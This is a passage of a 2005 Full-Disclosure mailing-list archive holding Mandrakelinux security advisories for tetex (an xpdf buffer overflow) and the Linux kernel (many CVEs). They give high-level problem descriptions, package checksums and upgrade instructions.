5faeb92f67ec30c27c145b70d7820bb5 corporate/3.0/RPMS/libkdegraphics0-mrmlsearch-3.2-15.5.C30mdk.i586.rpm 108d530befa5254155c17368884326c2 corporate/3.0/SRPMS/kdegraphics-3.2-15.5.C30mdk.src.rpm _______________________________________________________________________ To upgrade automatically use MandrakeUpdate or urpmi. The verification of md5 checksums and GPG signatures is performed automatically for you. All packages are signed by Mandrakesoft for security. You can obtain the GPG public key of the Mandrakelinux Security Team by executing: gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98 You can view other update advisories for Mandrakelinux at: http://www.mandrakesoft.com/security/advisories If you want to report vulnerabilities, please contact security_linux-mandrake.com Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Linux Mandrake Security Team -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFB9yG1mqjQ0CJFipgRAgMlAKC/8+I5ZOM+6QqEgO6qx6OHvSdMAACfZOkf VSjCg9HCcuLkUezLEPxXrQE= =2XE9 -----END PGP SIGNATURE----- From security at linux-mandrake.com Wed Jan 26 04:53:58 2005 From: security at linux-mandrake.com (Mandrake Linux Security Team) Date: Tue, 25 Jan 2005 21:53:58 -0700 Subject: [Full-Disclosure] MDKSA-2005:021 - Updated tetex packages fix buffer overflow vulnerability Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 _______________________________________________________________________ Mandrakelinux Security Update Advisory _______________________________________________________________________ Package name: tetex Advisory ID: MDKSA-2005:021 Date: January 25th, 2005 Affected versions: 10.0, 10.1, Corporate Server 3.0 ______________________________________________________________________ Problem Description: A buffer overflow vulnerability was discovered in the xpdf PDF code, which could allow for arbitrary code execution as the user viewing a PDF file. The vulnerability exists due to insufficient bounds checking while processing a PDF file that provides malicious values in the /Encrypt /Length tag. Tetex uses xpdf code and is susceptible to the same vulnerability. The updated packages have been patched to prevent these problems. _______________________________________________________________________ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0064 ______________________________________________________________________ Updated Packages: Mandrakelinux 10.0: 40d6aebb8d91f7b04d502c13c0c7988d 10.0/RPMS/jadetex-3.12-93.2.100mdk.i586.rpm 41f2fa1c103e0f52d928082df6092702 10.0/RPMS/tetex-2.0.2-14.2.100mdk.i586.rpm af3e3902dbb7b92bd17d75266ab19f55 10.0/RPMS/tetex-afm-2.0.2-14.2.100mdk.i586.rpm f5c0808347d158d73c538e33bb16f4eb 10.0/RPMS/tetex-context-2.0.2-14.2.100mdk.i586.rpm b241d5b5d6642c208c55b25d139ea3db 10.0/RPMS/tetex-devel-2.0.2-14.2.100mdk.i586.rpm ea189c41518751ec76c34892d51fe6fa 10.0/RPMS/tetex-doc-2.0.2-14.2.100mdk.i586.rpm f7c4338ad2fa1577a61f3c9e6d171e78 10.0/RPMS/tetex-dvilj-2.0.2-14.2.100mdk.i586.rpm 2ab382ddc6314e39697703d41287bb85 10.0/RPMS/tetex-dvipdfm-2.0.2-14.2.100mdk.i586.rpm 0f271b4912b99e8f78b756e28b79e3b7 10.0/RPMS/tetex-dvips-2.0.2-14.2.100mdk.i586.rpm e9537b9c894f25be502dd30f8cbb9093 10.0/RPMS/tetex-latex-2.0.2-14.2.100mdk.i586.rpm 457cf9e27e637f2af71b3f318bced378 10.0/RPMS/tetex-mfwin-2.0.2-14.2.100mdk.i586.rpm d589c6473932773c2dae23507b6f8da3 10.0/RPMS/tetex-texi2html-2.0.2-14.2.100mdk.i586.rpm 519f7e12dd92391036eae21474b1f7ea 10.0/RPMS/tetex-xdvi-2.0.2-14.2.100mdk.i586.rpm 7b9f14eefca1f88d17177b326377ae48 10.0/RPMS/xmltex-1.9-41.2.100mdk.i586.rpm 6c10db8e7c4b28f137e925830e0209be 10.0/SRPMS/tetex-2.0.2-14.2.100mdk.src.rpm Mandrakelinux 10.0/AMD64: 3baa5126a4177a234774aff259885dee amd64/10.0/RPMS/jadetex-3.12-93.2.100mdk.amd64.rpm 8e7f1561dee9f3c7c340c3a0bce0748a amd64/10.0/RPMS/tetex-2.0.2-14.2.100mdk.amd64.rpm df30facae4620505899124645b3c8d4e amd64/10.0/RPMS/tetex-afm-2.0.2-14.2.100mdk.amd64.rpm f12bb795148163d2bb95d004d4362337 amd64/10.0/RPMS/tetex-context-2.0.2-14.2.100mdk.amd64.rpm 61cdcd9359db5ff35f6544e4d5275798 amd64/10.0/RPMS/tetex-devel-2.0.2-14.2.100mdk.amd64.rpm d211b65dd282fd9bf4fe96bf5b179c20 amd64/10.0/RPMS/tetex-doc-2.0.2-14.2.100mdk.amd64.rpm 8e80407a7cd67d10b5530397e0c84825 amd64/10.0/RPMS/tetex-dvilj-2.0.2-14.2.100mdk.amd64.rpm f380ff2dc335c076d83ec4c7a04296ae amd64/10.0/RPMS/tetex-dvipdfm-2.0.2-14.2.100mdk.amd64.rpm 725702ea717f0aee358a3f6f8215b44f amd64/10.0/RPMS/tetex-dvips-2.0.2-14.2.100mdk.amd64.rpm 7823c3937b223d32ca4564d3f89783cc amd64/10.0/RPMS/tetex-latex-2.0.2-14.2.100mdk.amd64.rpm 9f2b8571f6aae75f01f5550453a663bd amd64/10.0/RPMS/tetex-mfwin-2.0.2-14.2.100mdk.amd64.rpm e4e2f03a4175dc115b61835a7d46e730 amd64/10.0/RPMS/tetex-texi2html-2.0.2-14.2.100mdk.amd64.rpm bf6544e25d3b3814332fed95f503318a amd64/10.0/RPMS/tetex-xdvi-2.0.2-14.2.100mdk.amd64.rpm e30a3d2c064ac446c630e082e632b4ff amd64/10.0/RPMS/xmltex-1.9-41.2.100mdk.amd64.rpm 6c10db8e7c4b28f137e925830e0209be amd64/10.0/SRPMS/tetex-2.0.2-14.2.100mdk.src.rpm Mandrakelinux 10.1: eca5fcbe65ed5c3797e06ed9ff1a7f13 10.1/RPMS/jadetex-3.12-98.2.101mdk.i586.rpm c77f7180326a753e16b32432802a54d4 10.1/RPMS/tetex-2.0.2-19.2.101mdk.i586.rpm 2b911077426596c3fdc2d0f0b001e3d9 10.1/RPMS/tetex-afm-2.0.2-19.2.101mdk.i586.rpm 7fc9384f549a69836ceb0a313231cd2f 10.1/RPMS/tetex-context-2.0.2-19.2.101mdk.i586.rpm ab251e5f024fa5f68418d0ec93ac69c1 10.1/RPMS/tetex-devel-2.0.2-19.2.101mdk.i586.rpm 1178eba7e1977da9f2030c8988d952b9 10.1/RPMS/tetex-doc-2.0.2-19.2.101mdk.i586.rpm 532aed1e7b7b86d06e920ce7607878f3 10.1/RPMS/tetex-dvilj-2.0.2-19.2.101mdk.i586.rpm 839b4a857a67530927ff53e3ae8d86dc 10.1/RPMS/tetex-dvipdfm-2.0.2-19.2.101mdk.i586.rpm 9beb5ef910f48934f5502c2dc98213bc 10.1/RPMS/tetex-dvips-2.0.2-19.2.101mdk.i586.rpm 18cbe96e3029686d99e88b236572a62b 10.1/RPMS/tetex-latex-2.0.2-19.2.101mdk.i586.rpm 12ed83277f18fa2bb01335f3e0b010c4 10.1/RPMS/tetex-mfwin-2.0.2-19.2.101mdk.i586.rpm 7a8027ae68b579e471b368c46f3c32ed 10.1/RPMS/tetex-texi2html-2.0.2-19.2.101mdk.i586.rpm 2d37ee84d4f0cde89e4886de9df078b9 10.1/RPMS/tetex-xdvi-2.0.2-19.2.101mdk.i586.rpm 85e3c674ccc6902c03cbc282ed4aa66e 10.1/RPMS/xmltex-1.9-46.2.101mdk.i586.rpm dde980ea4d7c444ef0d522984fd87633 10.1/SRPMS/tetex-2.0.2-19.2.101mdk.src.rpm Mandrakelinux 10.1/X86_64: a62b9a7e1371a93b530985284198e7dd x86_64/10.1/RPMS/jadetex-3.12-98.2.101mdk.x86_64.rpm 64c7cf3a6a022fa496055553405a7c34 x86_64/10.1/RPMS/tetex-2.0.2-19.2.101mdk.x86_64.rpm 6085e92f336de0eda7e285d00a075286 x86_64/10.1/RPMS/tetex-afm-2.0.2-19.2.101mdk.x86_64.rpm d64f00f92cdda49926df9b834b3ba325 x86_64/10.1/RPMS/tetex-context-2.0.2-19.2.101mdk.x86_64.rpm c28cec8afde1d2f08fe6c43eb3a27811 x86_64/10.1/RPMS/tetex-devel-2.0.2-19.2.101mdk.x86_64.rpm 568739e6b166790afbf3de9624a2b8f2 x86_64/10.1/RPMS/tetex-doc-2.0.2-19.2.101mdk.x86_64.rpm 7f8b83210a2694d10b4066190cb34a0e x86_64/10.1/RPMS/tetex-dvilj-2.0.2-19.2.101mdk.x86_64.rpm 1ac663acf2c915376a9ce8fd2626a3e1 x86_64/10.1/RPMS/tetex-dvipdfm-2.0.2-19.2.101mdk.x86_64.rpm 32cb8f7149cf6f886b50fbbc5a9e4377 x86_64/10.1/RPMS/tetex-dvips-2.0.2-19.2.101mdk.x86_64.rpm 528ec8126e736bd3a21b72ff2d147a20 x86_64/10.1/RPMS/tetex-latex-2.0.2-19.2.101mdk.x86_64.rpm 10ebdf7f419cc91c7ab10552e5003e9d x86_64/10.1/RPMS/tetex-mfwin-2.0.2-19.2.101mdk.x86_64.rpm b13e174640ea86a7da131625812f1003 x86_64/10.1/RPMS/tetex-texi2html-2.0.2-19.2.101mdk.x86_64.rpm c79803217976d09397864afea0206965 x86_64/10.1/RPMS/tetex-xdvi-2.0.2-19.2.101mdk.x86_64.rpm adb9f1d3b3bca4d4880578abb39dde1d x86_64/10.1/RPMS/xmltex-1.9-46.2.101mdk.x86_64.rpm dde980ea4d7c444ef0d522984fd87633 x86_64/10.1/SRPMS/tetex-2.0.2-19.2.101mdk.src.rpm Corporate Server 3.0: 9c2b33053456652155f02b6d03195f15 corporate/3.0/RPMS/jadetex-3.12-93.2.C30mdk.i586.rpm 31297608c24b9a17ad09da551b502f62 corporate/3.0/RPMS/tetex-2.0.2-14.2.C30mdk.i586.rpm 5194001eb838de6d57b4117fc4022bb6 corporate/3.0/RPMS/tetex-afm-2.0.2-14.2.C30mdk.i586.rpm 1384feb89e678fcb1d453a3b58ff2398 corporate/3.0/RPMS/tetex-context-2.0.2-14.2.C30mdk.i586.rpm 9dd1376bed60d332d73678b419974fbb corporate/3.0/RPMS/tetex-devel-2.0.2-14.2.C30mdk.i586.rpm 44040f05b2e7102bbd1a380f664a5467 corporate/3.0/RPMS/tetex-doc-2.0.2-14.2.C30mdk.i586.rpm a12fcd0d1d32333f3b35db8ed26f700c corporate/3.0/RPMS/tetex-dvilj-2.0.2-14.2.C30mdk.i586.rpm be5e8c23a2ae789add263c27f5436ee0 corporate/3.0/RPMS/tetex-dvipdfm-2.0.2-14.2.C30mdk.i586.rpm c860bf20a37e24e3d033b30dec262d47 corporate/3.0/RPMS/tetex-dvips-2.0.2-14.2.C30mdk.i586.rpm 3998ef51524aac72b036a6125b4914a2 corporate/3.0/RPMS/tetex-latex-2.0.2-14.2.C30mdk.i586.rpm 95d5aa79cfcc4b86f0fe675587f0886e corporate/3.0/RPMS/tetex-mfwin-2.0.2-14.2.C30mdk.i586.rpm 15649bafe0fe99d73a3ea76c42de20f3 corporate/3.0/RPMS/tetex-texi2html-2.0.2-14.2.C30mdk.i586.rpm 4316a252663322c106375779825cc04f corporate/3.0/RPMS/tetex-xdvi-2.0.2-14.2.C30mdk.i586.rpm 472b4f90c8c97796a90c8c9f602dbe93 corporate/3.0/RPMS/xmltex-1.9-41.2.C30mdk.i586.rpm 25a861bbcc9bd9b119b022d95b3fa8d0 corporate/3.0/SRPMS/tetex-2.0.2-14.2.C30mdk.src.rpm _______________________________________________________________________ To upgrade automatically use MandrakeUpdate or urpmi. The verification of md5 checksums and GPG signatures is performed automatically for you. All packages are signed by Mandrakesoft for security. You can obtain the GPG public key of the Mandrakelinux Security Team by executing: gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98 You can view other update advisories for Mandrakelinux at: http://www.mandrakesoft.com/security/advisories If you want to report vulnerabilities, please contact security_linux-mandrake.com Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Linux Mandrake Security Team -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFB9yJlmqjQ0CJFipgRAmRZAJ4oCt3Cp46pUGDlVwNdFLBWlsxZfACgg7RO IhOLTHvlWob/LZZOjxJo/j4= =XJ1V -----END PGP SIGNATURE----- From security at linux-mandrake.com Wed Jan 26 04:57:24 2005 From: security at linux-mandrake.com (Mandrake Linux Security Team) Date: Tue, 25 Jan 2005 21:57:24 -0700 Subject: [Full-Disclosure] MDKSA-2005:022 - Updated cups packages fix multiple vulnerabilities Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 _______________________________________________________________________ Mandrakelinux Security Update Advisory _______________________________________________________________________ Package name: kernel Advisory ID: MDKSA-2005:022 Date: January 25th, 2005 Affected versions: 10.0, 10.1, 9.2, Corporate Server 2.1, Corporate Server 3.0, Multi Network Firewall 8.2 ______________________________________________________________________ Problem Description: A number of vulnerabilities are fixed in the 2.4 and 2.6 kernels with this advisory: - Multiple race conditions in the terminal layer of 2.4 and 2.6 kernels (prior to 2.6.9) can allow a local attacker to obtain portions of kernel data or allow remote attackers to cause a kernel panic by switching from console to PPP line discipline, then quickly sending data that is received during the switch (CAN-2004-0814) - Richard Hart found an integer underflow problem in the iptables firewall logging rules that can allow a remote attacker to crash the machine by using a specially crafted IP packet. This is only possible, however, if firewalling is enabled. The problem only affects 2.6 kernels and was fixed upstream in 2.6.8 (CAN-2004-0816) - Stefan Esser found several remote DoS confitions in the smbfs file system. This could be exploited by a hostile SMB server (or an attacker injecting packets into the network) to crash the client systems (CAN-2004-0883 and CAN-2004-0949) - Paul Starzetz and Georgi Guninski reported, independantly, that bad argument handling and bad integer arithmetics in the IPv4 sendmsg handling of control messages could lead to a local attacker crashing the machine. The fixes were done by Herbert Xu (CAN-2004-1016) - Rob Landley discovered a race condition in the handling of /proc/.../cmdline where, under rare circumstances, a user could read the environment variables of another process that was still spawning leading to the potential disclosure of sensitive information such as passwords (CAN-2004-1058) - Paul Starzetz reported that the missing serialization in unix_dgram_recvmsg() which was added to kernel 2.4.28 can be used by a local attacker to gain elevated (root) privileges (CAN-2004-1068) - Ross Kendall Axe discovered a possible kernel panic (DoS) while sending AF_UNIX network packets if certain SELinux-related kernel options were enabled. By default the CONFIG_SECURITY_NETWORK and CONFIG_SECURITY_SELINUX options are not enabled (CAN-2004-1069) - Paul Starzetz of isec.pl discovered several issues with the error handling of the ELF loader routines in the kernel. The fixes were provided by Chris Wright (CAN-2004-1070, CAN-2004-1071, CAN-2004-1072, CAN-2004-1073) - It was discovered that hand-crafted a.out binaries could be used to trigger a local DoS condition in both the 2.4 and 2.6 kernels. The fixes were done by Chris Wright (CAN-2004-1074) - Paul Starzetz found bad handling in the IGMP code which could lead to a local attacker being able to crash the machine. The fix was done by Chris Wright (CAN-2004-1137) - Jeremy Fitzhardinge discovered two buffer overflows in the sys32_ni_syscall() and sys32_vm86_warning() functions that could be used to overwrite kernel memory with attacker-supplied code resulting in privilege escalation (CAN-2004-1151) - Paul Starzetz found locally exploitable flaws in the binary format loader's uselib() function that could be abused to allow a local user to obtain root privileges (CAN-2004-1235) - Paul Starzetz found an exploitable flaw in the page fault handler when running on SMP machines (CAN-2005-0001) - A vulnerability in insert_vm_struct could allow a locla user to trigger BUG() when the user created a large vma that overlapped with arg pages during exec (CAN-2005-0003) - Paul Starzetz also found a number of vulnerabilities in the kernel binfmt_elf loader that could lead a local user to obtain elevated (root) privileges (isec-0017-binfmt_elf) The provided packages are patched to fix these vulnerabilities. All users are encouraged to upgrade to these updated kernels. To update your kernel, please follow the directions located at: http://www.mandrakesoft.com/security/kernelupdate PLEASE NOTE: Mandrakelinux 10.0 users will need to upgrade to the latest module-init-tools package prior to upgrading their kernel. Likewise, MNF8.2 users will need to upgrade to the latest modutils package prior to upgrading their kernel. _______________________________________________________________________ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0814 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0816 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0883 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0949 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1016 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1058 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1068 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1069 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1070 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1071 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1072 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1073 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1074